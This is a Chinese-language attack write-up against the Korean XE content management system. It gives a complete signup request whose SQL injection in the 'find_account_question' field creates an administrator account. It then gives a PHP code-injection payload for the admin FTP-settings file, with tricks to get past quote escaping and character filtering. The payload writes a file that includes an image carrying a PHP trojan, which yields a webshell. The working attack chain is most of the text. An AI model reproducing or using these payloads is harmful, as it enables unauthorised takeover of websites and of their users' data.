By:wooden
一次在渗透中遇到XE的程序,查了下,发现是韩国的一套比较常见的Cms,然后尝试挖掘漏洞,可惜一通扫描,检测下来没有任何可利用的漏洞,只好求助于Google了,此injection是由韩国的一个黑客组织公布的,但是韩文不行,并且文章介绍的很简单的,唯一有用的就是给出了出漏洞的文件和代码片断...
于是下了套cms回来看了下,挖了个Insert 型的injection...
问题出在/xe/classes/db/DBMysql.class.php,具体是哪就不说明了,毕竟不是自己发现的
注册时修改post:
以下是引用片段: <?xml version="1.0" encoding="utf-8" ?> <methodCall> <params> <_filter><![CDATA[signup]]></_filter> <user_id><![CDATA[wood11]]></user_id> <password><![CDATA[wooden]]></password> <password2><![CDATA[wooden]]></password2> <user_name><![CDATA[wooden]]></user_name> <nick_name><![CDATA[wood]]></nick_name> <email_address><![CDATA[wooden@www.com]]></email_address> <find_account_question><![CDATA[9,10,11,12,13,14,15,16,17,18,19,20,'Y',22,23,24)#]]></find_account_question> <find_account_answer><![CDATA[test]]></find_account_answer> <birthday><![CDATA[20110712]]></birthday> <allow_mailing><![CDATA[Y]]></allow_mailing> <module><![CDATA[member]]></module> <act><![CDATA[procMemberInsert]]></act> </params> </methodCall> |
这样提交后,直接就是管理员权限了。。。接下来说拿Shell
由于韩国的那文章里并没有提及到拿shell,经过和amote一通研究后终于拿到shell。。。
在后台的Setting设置下 有个提交Ftp信息的模块,并且是写文件的files/config/ftp.config.php,大家会认为直接写个一句话上去就完事了,一开始我也这么认为的,但是请看提交后的代码:
以下是引用片段: <?php if(!defined("__ZBXE__")) exit(); $ftp_info->ftp_user = 'as'; $ftp_info->ftp_port = 'asd'; $ftp_info->ftp_host = 'asd'; $ftp_info->ftp_pasv = 'Y'; $ftp_info->ftp_root_path = 'ss‘ ?> |
关键在于开始的判断if(!defined("__ZBXE__")) exit();,很明显,如果直接访问的话,程序直接退出,无论你提交什么都没意义,思路在这本来是断了的,于是继续翻代码
发现大部分配置文件都有这个判断,那么问题就好解决了,只要找到这个文件的宿主调用页,也就是定义了ZBXE标识的主文件并且让他调用ftp.config.php 就可以让代码执行了。。。
追了几段代码,终于在index.php 的modules模块里发现了宿主函数:index.php?module=admin&act=dispAdminConfig 那么只需要调用这个函数 他就会向ftp.config.php赋予zbxe,自然的,插入的一句话就可以执行了
但是,别高兴太早,在插入一句话的时候,发现程序过滤了很多东西例如$,&,@等一系列特殊符号,那么类似于<?php eval($_POST[c])?>等带有特殊符号的一句话木马都无法插入,并且Gpc开启,'也会被转义
必须得符合以下条件:
插入的代码不能带有$,&,@等特殊符号
无法使用' 号 ----ps:gpc开启
由于文件是在php代码内所以必须前后闭合,并且不能让文件报错
Ok,研究后发现 插入一句话木马是不可能的了,好吧,不废话了,直接放出最后研究出的代码吧:
以下是引用片段: ss\'; define("__ZBXE__","Hello world!");?><?php fputs(fopen("Wooden.php","w"),"<?include \"files/attach/images/55520/491/092/dd084814f98d139fa5aae08414b75ea4.gif\";?>")?><?//; |
注意开头的\' ,由于gpc为on的特性, '号将被转移成\' 加上我们自己提交的\ 即为\\' ,反之,单独提交' 来闭合会让程序报错,原理就不解释了,这样调用后会在根目录生成一个Wooden.php的文件,在此之前,还需要在后台开启文件上传,并且上传一个php木马的图片文件,接着在include中输入木马的路径,注意,由于gpc的缘故必须使用双引号,但是多层嵌套的双引号会报错,所以必须对include下的双引号进行转义
Ok,提交后访问Wooden.php 一个本地包含的webshell出现了
文章到此结束,不得不承认,过程相当曲折:)